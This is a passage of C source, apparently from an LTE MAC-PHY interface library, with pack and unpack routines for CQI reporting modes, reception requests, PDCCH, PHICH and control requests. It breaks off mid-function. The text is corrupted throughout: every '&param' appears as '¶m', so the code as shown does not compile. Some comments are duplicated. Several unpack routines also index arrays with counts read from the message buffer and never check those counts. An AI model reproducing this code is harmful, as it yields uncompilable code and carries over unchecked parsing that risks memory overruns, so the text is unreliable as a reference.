* reporting format 1-2.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuSubbandMode12
(
TfuSubbandMode12 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuSubbandMode12(param, mBuf)
TfuSubbandMode12 *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuSubbandMode12)
CMCHKPK(cmPkTfuSubbandInfo, ¶m->subBand, mBuf);
CMCHKPK(SPkU8, param->pmi, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuSubbandMode12
*
*
* Desc : This structure carries subband information and PMI, in the CQI
* reporting format 1-2.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuSubbandMode12
(
TfuSubbandMode12 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuSubbandMode12(param, mBuf)
TfuSubbandMode12 *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuSubbandMode12)
CMCHKUNPK(SUnpkU8, ¶m->pmi, mBuf);
CMCHKUNPK(cmUnpkTfuSubbandInfo, ¶m->subBand, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuCqiPuschMode12
*
*
* Desc : This structure conveys information present in CQI reporting mode 1-2 received
* over PUSCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuCqiPuschMode12
(
TfuCqiPuschMode12 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuCqiPuschMode12(param, mBuf)
TfuCqiPuschMode12 *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmPkTfuCqiPuschMode12)
for (i=TFU_MAX_DL_SUBBAND-1; i >= 0; i--) {
CMCHKPK(cmPkTfuSubbandMode12, ¶m->subbandArr[i], mBuf);
}
for (i=TFU_MAX_TB-1; i >= 0; i--) {
CMCHKPK(SPkU8, param->cqiIdx[i], mBuf);
}
CMCHKPK(SPkU8, param->numSubband, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuCqiPuschMode12
*
*
* Desc : This structure conveys information present in CQI reporting mode 1-2 received
* over PUSCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuCqiPuschMode12
(
TfuCqiPuschMode12 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuCqiPuschMode12(param, mBuf)
TfuCqiPuschMode12 *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmUnpkTfuCqiPuschMode12)
CMCHKUNPK(SUnpkU8, ¶m->numSubband, mBuf);
for (i=0; i<TFU_MAX_TB; i++) {
CMCHKUNPK(SUnpkU8, ¶m->cqiIdx[i], mBuf);
}
for (i=0; i<TFU_MAX_DL_SUBBAND; i++) {
CMCHKUNPK(cmUnpkTfuSubbandMode12, ¶m->subbandArr[i], mBuf);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuCqiPuschMode20
*
*
* Desc : This structure conveys information present in CQI reporting mode 2-0 received
* over PUSCH. This mode is for UE selected sub-band feedback.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuCqiPuschMode20
(
TfuCqiPuschMode20 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuCqiPuschMode20(param, mBuf)
TfuCqiPuschMode20 *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmPkTfuCqiPuschMode20)
for (i=TFU_MAX_DL_SUBBAND-1; i >= 0; i--) {
CMCHKPK(cmPkTfuSubbandInfo, ¶m->subbandArr[i], mBuf);
}
CMCHKPK(SPkU8, param->numSubband, mBuf);
CMCHKPK(SPkU8, param->wideBandCqi, mBuf);
CMCHKPK(SPkU8, param->cqiIdx, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuCqiPuschMode20
*
*
* Desc : This structure conveys information present in CQI reporting mode 2-0 received
* over PUSCH. This mode is for UE selected sub-band feedback.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuCqiPuschMode20
(
TfuCqiPuschMode20 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuCqiPuschMode20(param, mBuf)
TfuCqiPuschMode20 *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmUnpkTfuCqiPuschMode20)
CMCHKUNPK(SUnpkU8, ¶m->cqiIdx, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->wideBandCqi, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->numSubband, mBuf);
for (i=0; i<TFU_MAX_DL_SUBBAND; i++) {
CMCHKUNPK(cmUnpkTfuSubbandInfo, ¶m->subbandArr[i], mBuf);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuCqiPuschMode22
*
*
* Desc : This structure conveys information present in CQI reporting mode 2-2 received
* over PUSCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuCqiPuschMode22
(
TfuCqiPuschMode22 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuCqiPuschMode22(param, mBuf)
TfuCqiPuschMode22 *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmPkTfuCqiPuschMode22)
for (i=TFU_MAX_DL_SUBBAND-1; i >= 0; i--) {
CMCHKPK(cmPkTfuSubbandInfo, ¶m->subbandArr[i], mBuf);
}
CMCHKPK(SPkU8, param->numSubband, mBuf);
CMCHKPK(SPkU8, param->wideBandPmi, mBuf);
for (i=TFU_MAX_TB-1; i >= 0; i--) {
CMCHKPK(SPkU8, param->wideBandCqi[i], mBuf);
}
CMCHKPK(SPkU8, param->pmi, mBuf);
for (i=TFU_MAX_TB-1; i >= 0; i--) {
CMCHKPK(SPkU8, param->cqi[i], mBuf);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuCqiPuschMode22
*
*
* Desc : This structure conveys information present in CQI reporting mode 2-2 received
* over PUSCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuCqiPuschMode22
(
TfuCqiPuschMode22 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuCqiPuschMode22(param, mBuf)
TfuCqiPuschMode22 *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmUnpkTfuCqiPuschMode22)
for (i=0; i<TFU_MAX_TB; i++) {
CMCHKUNPK(SUnpkU8, ¶m->cqi[i], mBuf);
}
CMCHKUNPK(SUnpkU8, ¶m->pmi, mBuf);
for (i=0; i<TFU_MAX_TB; i++) {
CMCHKUNPK(SUnpkU8, ¶m->wideBandCqi[i], mBuf);
}
CMCHKUNPK(SUnpkU8, ¶m->wideBandPmi, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->numSubband, mBuf);
for (i=0; i<TFU_MAX_DL_SUBBAND; i++) {
CMCHKUNPK(cmUnpkTfuSubbandInfo, ¶m->subbandArr[i], mBuf);
}
RETVALUE(ROK);
}
#ifdef ANSI
PUBLIC S16 cmPkTfuSubbandMode30
(
TfuSubbandMode30 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuSubbandMode30(param, mBuf)
TfuSubbandMode30 *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuSubbandMode30)
CMCHKPK(cmPkTfuSubbandInfo, ¶m->subBand, mBuf);
CMCHKPK(SPkU8, param->cqi, mBuf);
RETVALUE(ROK);
}
#ifdef ANSI
PUBLIC S16 cmUnpkTfuSubbandMode30
(
TfuSubbandMode30 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuSubbandMode30(param, mBuf)
TfuSubbandMode30 *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuSubbandMode30)
CMCHKUNPK(SUnpkU8, ¶m->cqi, mBuf);
CMCHKUNPK(cmUnpkTfuSubbandInfo, ¶m->subBand, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuCqiPuschMode30
*
*
* Desc : This structure conveys information present in CQI reporting mode 3-0
* received over PUSCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuCqiPuschMode30
(
TfuCqiPuschMode30 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuCqiPuschMode30(param, mBuf)
TfuCqiPuschMode30 *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmPkTfuCqiPuschMode30)
for (i=TFU_MAX_DL_SUBBAND-1; i >= 0; i--) {
CMCHKPK(cmPkTfuSubbandMode30, ¶m->subbandArr[i], mBuf);
}
CMCHKPK(SPkU8, param->numSubband, mBuf);
CMCHKPK(SPkU8, param->wideBandCqi, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuCqiPuschMode30
*
*
* Desc : This structure conveys information present in CQI reporting mode 3-0
* received over PUSCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuCqiPuschMode30
(
TfuCqiPuschMode30 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuCqiPuschMode30(param, mBuf)
TfuCqiPuschMode30 *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmUnpkTfuCqiPuschMode30)
CMCHKUNPK(SUnpkU8, ¶m->wideBandCqi, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->numSubband, mBuf);
for (i=0; i<TFU_MAX_DL_SUBBAND; i++) {
CMCHKUNPK(cmUnpkTfuSubbandMode30, ¶m->subbandArr[i], mBuf);
}
RETVALUE(ROK);
}
#ifdef ANSI
PUBLIC S16 cmPkTfuSubbandMode31
(
TfuSubbandMode31 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuSubbandMode31(param, mBuf)
TfuSubbandMode31 *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmPkTfuSubbandMode31)
CMCHKPK(cmPkTfuSubbandInfo, ¶m->subBand, mBuf);
for (i=TFU_MAX_TB-1; i >= 0; i--) {
CMCHKPK(SPkU8, param->cqi[i], mBuf);
}
RETVALUE(ROK);
}
#ifdef ANSI
PUBLIC S16 cmUnpkTfuSubbandMode31
(
TfuSubbandMode31 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuSubbandMode31(param, mBuf)
TfuSubbandMode31 *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmUnpkTfuSubbandMode31)
for (i=0; i<TFU_MAX_TB; i++) {
CMCHKUNPK(SUnpkU8, ¶m->cqi[i], mBuf);
}
CMCHKUNPK(cmUnpkTfuSubbandInfo, ¶m->subBand, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuCqiPuschMode31
*
*
* Desc : This structure conveys information present in CQI reporting mode 3-1
* received over PUSCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuCqiPuschMode31
(
TfuCqiPuschMode31 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuCqiPuschMode31(param, mBuf)
TfuCqiPuschMode31 *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmPkTfuCqiPuschMode31)
/* tfu_c_001.main_4 - Changes for MIMO feature addition */
/* tfu_c_001.main_5 - Removed dependency on MIMO compile-time flag */
/* tfu_c_001.main_4 - Changes for MIMO feature addition */
/* tfu_c_001.main_5 - Removed dependency on MIMO compile-time flag */
for (i=param->numSubband-1; i >= 0; i--) {
CMCHKPK(cmPkTfuSubbandDlCqiInfo, ¶m->subbandCqiArr[i], mBuf);
}
CMCHKPK(SPkU8, param->numSubband, mBuf);
for (i=TFU_MAX_TB-1; i >= 0; i--) {
CMCHKPK(SPkU8, param->wideBandCqi[i], mBuf);
}
CMCHKPK(SPkU8, param->pmi, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuCqiPuschMode31
*
*
* Desc : This structure conveys information present in CQI reporting mode 3-1
* received over PUSCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuCqiPuschMode31
(
TfuCqiPuschMode31 *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuCqiPuschMode31(param, mBuf)
TfuCqiPuschMode31 *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmUnpkTfuCqiPuschMode31)
CMCHKUNPK(SUnpkU8, ¶m->pmi, mBuf);
for (i=0; i<TFU_MAX_TB; i++) {
CMCHKUNPK(SUnpkU8, ¶m->wideBandCqi[i], mBuf);
}
CMCHKUNPK(SUnpkU8, ¶m->numSubband, mBuf);
/* tfu_c_001.main_4 - Changes for MIMO feature addition */
/* tfu_c_001.main_5 - Removed dependency on MIMO compile-time flag */
for (i=0; i<param->numSubband; i++) {
CMCHKUNPK(cmUnpkTfuSubbandDlCqiInfo, ¶m->subbandCqiArr[i], mBuf);
}
/* tfu_c_001.main_4 - Changes for MIMO feature addition */
/* tfu_c_001.main_5 - Removed dependency on MIMO compile-time flag */
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDlCqiPusch
*
*
* Desc : This structure conveys Downlink CQI information (mode and corresponding
* CQI) received over PUSCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDlCqiPusch
(
TfuDlCqiPusch *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDlCqiPusch(param, mBuf)
TfuDlCqiPusch *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuDlCqiPusch)
switch(param->mode) {
case TFU_PUSCH_CQI_MODE_31:
CMCHKPK(cmPkTfuCqiPuschMode31, ¶m->u.mode31Info, mBuf);
break;
case TFU_PUSCH_CQI_MODE_30:
CMCHKPK(cmPkTfuCqiPuschMode30, ¶m->u.mode30Info, mBuf);
break;
case TFU_PUSCH_CQI_MODE_22:
CMCHKPK(cmPkTfuCqiPuschMode22, ¶m->u.mode22Info, mBuf);
break;
case TFU_PUSCH_CQI_MODE_20:
CMCHKPK(cmPkTfuCqiPuschMode20, ¶m->u.mode20Info, mBuf);
break;
case TFU_PUSCH_CQI_MODE_12:
CMCHKPK(cmPkTfuCqiPuschMode12, ¶m->u.mode12Info, mBuf);
break;
default :
RETVALUE(RFAILED);
}
CMCHKPK(cmPkTknU8, ¶m->ri, mBuf);
CMCHKPK(SPkU32, param->mode, mBuf);
CMCHKPK(SPkU8, param->cellIdx, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDlCqiPusch
*
*
* Desc : This structure conveys Downlink CQI information (mode and corresponding
* CQI) received over PUSCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDlCqiPusch
(
TfuDlCqiPusch *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDlCqiPusch(param, mBuf)
TfuDlCqiPusch *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuDlCqiPusch)
CMCHKUNPK(SUnpkU8, ¶m->cellIdx, mBuf);
CMCHKUNPK(SUnpkU32, (U32 *)¶m->mode, mBuf);
CMCHKUNPK(cmUnpkTknU8, ¶m->ri, mBuf);
switch(param->mode) {
case TFU_PUSCH_CQI_MODE_12:
CMCHKUNPK(cmUnpkTfuCqiPuschMode12, ¶m->u.mode12Info, mBuf);
break;
case TFU_PUSCH_CQI_MODE_20:
CMCHKUNPK(cmUnpkTfuCqiPuschMode20, ¶m->u.mode20Info, mBuf);
break;
case TFU_PUSCH_CQI_MODE_22:
CMCHKUNPK(cmUnpkTfuCqiPuschMode22, ¶m->u.mode22Info, mBuf);
break;
case TFU_PUSCH_CQI_MODE_30:
CMCHKUNPK(cmUnpkTfuCqiPuschMode30, ¶m->u.mode30Info, mBuf);
break;
case TFU_PUSCH_CQI_MODE_31:
CMCHKUNPK(cmUnpkTfuCqiPuschMode31, ¶m->u.mode31Info, mBuf);
break;
default :
RETVALUE(RFAILED);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDlCqiInfo
*
*
* Desc : This structure contains CQI information received over PUCCH or PUSCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDlCqiInfo
(
U8 selector,
TfuDlCqiInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDlCqiInfo(selector, param, mBuf)
U8 selector;
TfuDlCqiInfo *param;
Buffer *mBuf;
#endif
{
U32 idx;
TRC3(cmPkTfuDlCqiInfo)
switch(selector) {
case FALSE:
for (idx = 0; idx < param->pusch.numOfCells; idx++)
{
CMCHKPK(cmPkTfuDlCqiPusch, ¶m->pusch.puschCqi[idx], mBuf);
}
CMCHKPK(SPkU8, param->pusch.numOfCells, mBuf);
break;
case TRUE:
CMCHKPK(cmPkTfuDlCqiPucch, ¶m->pucchCqi, mBuf);
break;
default :
RETVALUE(RFAILED);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDlCqiInfo
*
*
* Desc : This structure contains CQI information received over PUCCH or PUSCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDlCqiInfo
(
U8 selector,
TfuDlCqiInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDlCqiInfo(selector, param, mBuf)
U8 selector;
TfuDlCqiInfo *param;
Buffer *mBuf;
#endif
{
U8 idx;
TRC3(cmUnpkTfuDlCqiInfo)
switch(selector) {
case TRUE:
CMCHKUNPK(cmUnpkTfuDlCqiPucch, ¶m->pucchCqi, mBuf);
break;
case FALSE:
CMCHKUNPK(SUnpkU8, ¶m->pusch.numOfCells, mBuf);
for (idx = param->pusch.numOfCells; idx > 0; idx--)
{
CMCHKUNPK(cmUnpkTfuDlCqiPusch, ¶m->pusch.puschCqi[idx-1], mBuf);
}
break;
default :
RETVALUE(RFAILED);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuRecpReqInfo
*
*
* Desc : This structure is sent from Scheduler to PHY. This includes params
* needed by PHY to decode the following
* 1. DATA on PUSCH
* 2. HARQ Feedback on PUCCH
* 3. CQI Report
* 4. RI Report
* 5. SR Indications.
* This structure carries the reception information for all the scheduled UE.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuRecpReqInfo
(
TfuRecpReqInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuRecpReqInfo(param, mBuf)
TfuRecpReqInfo *param;
Buffer *mBuf;
#endif
{
CmLList *node;
U32 count;
TfuUeRecpReqInfo *tfuUeRecpReqInfo;
TRC3(cmPkTfuRecpReqInfo)
/*ccpu00116923 - ADD - SRS present support*/
/*tfu_c_001.main_7 - ADD - SRS present field inclusion */
#ifdef TFU_UPGRADE
CMCHKPK(SPkU8, param->srsPres, mBuf);
#endif
count = param->ueRecpReqLst.count;
node = param->ueRecpReqLst.last;
while (node) {
tfuUeRecpReqInfo = (TfuUeRecpReqInfo *)node->node;
node=node->prev;
CMCHKPK(cmPkTfuUeRecpReqInfo, tfuUeRecpReqInfo, mBuf);
cmLListDelFrm(¶m->ueRecpReqLst, &tfuUeRecpReqInfo->lnk);
tfuUeRecpReqInfo->lnk.node = (PTR)NULLP;
}
CMCHKPK(SPkU32, count, mBuf);
CMCHKPK(cmPkLteTimingInfo, ¶m->timingInfo, mBuf);
CMCHKPK(cmPkLteCellId, param->cellId, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuRecpReqInfo
*
*
* Desc : This structure is sent from Scheduler to PHY. This includes params
* needed by PHY to decode the following
* 1. DATA on PUSCH
* 2. HARQ Feedback on PUCCH
* 3. CQI Report
* 4. RI Report
* 5. SR Indications.
* This structure carries the reception information for all the scheduled UE.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuRecpReqInfo
(
TfuRecpReqInfo *param,
Ptr memCp,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuRecpReqInfo(param, memCp, mBuf)
TfuRecpReqInfo *param;
Ptr memCp;
Buffer *mBuf;
#endif
{
U32 count, loopCnt;
TfuUeRecpReqInfo *tfuUeRecpReqInfo;
TRC3(cmUnpkTfuRecpReqInfo)
CMCHKUNPK(cmUnpkLteCellId, ¶m->cellId, mBuf);
CMCHKUNPK(cmUnpkLteTimingInfo, ¶m->timingInfo, mBuf);
cmLListInit(¶m->ueRecpReqLst);
CMCHKUNPK(SUnpkU32, &count, mBuf);
for (loopCnt=0; loopCnt<count; loopCnt++) {
cmGetMem((Ptr)memCp, sizeof(*tfuUeRecpReqInfo), (Ptr *)&tfuUeRecpReqInfo);
CMCHKUNPK(cmUnpkTfuUeRecpReqInfo, tfuUeRecpReqInfo, mBuf);
cmLListAdd2Tail(¶m->ueRecpReqLst, &tfuUeRecpReqInfo->lnk);
tfuUeRecpReqInfo->lnk.node = (PTR)tfuUeRecpReqInfo;
}
/*ccpu00116923 - ADD - SRS present support*/
/*tfu_c_001.main_7 - ADD - SRS present field inclusion */
#ifdef TFU_UPGRADE
CMCHKUNPK(SUnpkU8, ¶m->srsPres, mBuf);
#endif
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuPdcchInfo
*
*
* Desc : This structure contains the PDCCH to be sent on PHY i.e. DCI
* formats. This information is associated with an RNTI.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuPdcchInfo
(
TfuPdcchInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuPdcchInfo(param, mBuf)
TfuPdcchInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuPdcchInfo)
CMCHKPK(cmPkTfuDciInfo, ¶m->dci, mBuf);
CMCHKPK(SPkU8, param->dciNumOfBits, mBuf);
CMCHKPK(cmPkLteAggrLvl, param->aggrLvl, mBuf);
CMCHKPK(SPkU16, param->nCce, mBuf);
#ifdef LTEMAC_SPS
CMCHKPK(cmPkLteRnti, param->crnti, mBuf);
CMCHKPK(SPkU8, param->isSpsRnti, mBuf);
#endif
CMCHKPK(cmPkLteRnti, param->rnti, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuPdcchInfo
*
*
* Desc : This structure contains the PDCCH to be sent on PHY i.e. DCI
* formats. This information is associated with an RNTI.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuPdcchInfo
(
TfuPdcchInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuPdcchInfo(param, mBuf)
TfuPdcchInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuPdcchInfo)
CMCHKUNPK(cmUnpkLteRnti, ¶m->rnti, mBuf);
#ifdef LTEMAC_SPS
CMCHKUNPK(SUnpkU8, ¶m->isSpsRnti, mBuf);
CMCHKUNPK(cmUnpkLteRnti, ¶m->crnti, mBuf);
#endif
CMCHKUNPK(SUnpkU16, ¶m->nCce, mBuf);
CMCHKUNPK(cmUnpkLteAggrLvl, (U32*)¶m->aggrLvl, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->dciNumOfBits, mBuf);
CMCHKUNPK(cmUnpkTfuDciInfo, ¶m->dci, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuPhichInfo
*
*
* Desc : This structure contains one PHICH information. In order to locate the
* resources to be used for PHICH the following information is provided along
* with the feedback -
* -# rbStart
* -# nDmrs
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuPhichInfo
(
TfuPhichInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuPhichInfo(param, mBuf)
TfuPhichInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuPhichInfo)
/* tfu_c_001.main_7. Added changes of TFU_UPGRADE */
#ifdef TFU_UPGRADE
CMCHKPK(SPkU16, param->txPower, mBuf);
#endif
#ifdef TFU_TDD
CMCHKPK(SPkU8, param->iPhich, mBuf);
#endif
CMCHKPK(SPkU8, param->isAck, mBuf);
CMCHKPK(SPkU8, param->nDmrs, mBuf);
CMCHKPK(SPkU8, param->rbStart, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuPhichInfo
*
*
* Desc : This structure contains one PHICH information. In order to locate the
* resources to be used for PHICH the following information is provided along
* with the feedback -
* -# rbStart
* -# nDmrs
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuPhichInfo
(
TfuPhichInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuPhichInfo(param, mBuf)
TfuPhichInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuPhichInfo)
CMCHKUNPK(SUnpkU8, ¶m->rbStart, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->nDmrs, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->isAck, mBuf);
/* tfu_c_001.main_7. Added changes of TFU_UPGRADE */
#ifdef TFU_TDD
CMCHKUNPK(SUnpkU8, ¶m->iPhich, mBuf);
#endif
#ifdef TFU_UPGRADE
CMCHKUNPK(SUnpkU16, ¶m->txPower, mBuf);
#endif
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuCntrlReqInfo
*
*
* Desc : This structure is sent from Scheduler to PHY. This includes all the
* control information to be sent to the UE.
* -# PDCCH Physical Downlink Control Channel
* -# PHICH Physical HARQ Indicator Channel
* -# PCFICH Physical Control Format Indicator Channel
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuCntrlReqInfo
(
TfuCntrlReqInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuCntrlReqInfo(param, mBuf)
TfuCntrlReqInfo *param;
Buffer *mBuf;
#endif
{
TfuPdcchInfo *tfuPdcchInfo;
TfuPhichInfo *tfuPhichInfo;
CmLList *node;
U32 count;
TRC3(cmPkTfuCntrlReqInfo)
#ifdef LTEMAC_SPS /* SPS_NEW_CHGS */
CMCHKPK(cmPkBool, param->isSPSOcc, mBuf);
#endif
count = param->phichLst.count;
node = param->phichLst.last;
while (node) {
tfuPhichInfo = (TfuPhichInfo *)node->node;
node=node->prev;
CMCHKPK(cmPkTfuPhichInfo, tfuPhichInfo, mBuf);
cmLListDelFrm(¶m->phichLst, &tfuPhichInfo->lnk);
tfuPhichInfo->lnk.node = (PTR)NULLP;
}
CMCHKPK(SPkU32, count, mBuf);
count = param->dlPdcchLst.count;
node = param->dlPdcchLst.last;
while (node) {
tfuPdcchInfo = (TfuPdcchInfo *)node->node;
node=node->prev;
CMCHKPK(cmPkTfuPdcchInfo, tfuPdcchInfo, mBuf);
cmLListDelFrm(¶m->dlPdcchLst, &tfuPdcchInfo->lnk);
tfuPdcchInfo->lnk.node = (PTR)NULLP;
}
CMCHKPK(SPkU32, count, mBuf);
count = param->ulPdcchLst.count;
node = param->ulPdcchLst.last;
while (node) {
tfuPdcchInfo = (TfuPdcchInfo *)node->node;
node=node->prev;
CMCHKPK(cmPkTfuPdcchInfo, tfuPdcchInfo, mBuf);
cmLListDelFrm(¶m->ulPdcchLst, &tfuPdcchInfo->lnk);
tfuPdcchInfo->lnk.node = (PTR)NULLP;
}
CMCHKPK(SPkU32, count, mBuf);
CMCHKPK(SPkU8, param->cfi, mBuf);
CMCHKPK(cmPkLteTimingInfo, ¶m->dlTiming, mBuf);
CMCHKPK(cmPkLteTimingInfo, ¶m->ulTiming, mBuf);
CMCHKPK(cmPkLteCellId, param->cellId, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuCntrlReqInfo
*
*
* Desc : This structure is sent from Scheduler to PHY. This includes all the
* control information to be sent to the UE.
* -# PDCCH Physical Downlink Control Channel
* -# PHICH Physical HARQ Indicator Channel
* -# PCFICH Physical Control Format Indicator Channel
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuCntrlReqInfo
(
TfuCntrlReqInfo *param,
Ptr memCp,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuCntrlReqInfo(param, memCp, mBuf)
TfuCntrlReqInfo *param;
Ptr memCp;
Buffer *mBuf;
#endif
{
TfuPdcchInfo *tfuPdcchInfo;
U32 count, loopCnt;
TfuPhichInfo *tfuPhichInfo;
TRC3(cmUnpkTfuCntrlReqInfo)
CMCHKUNPK(cmUnpkLteCellId, ¶m->cellId, mBuf);
CMCHKUNPK(cmUnpkLteTimingInfo, ¶m->ulTiming, mBuf);
CMCHKUNPK(cmUnpkLteTimingInfo, ¶m->dlTiming, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->cfi, mBuf);
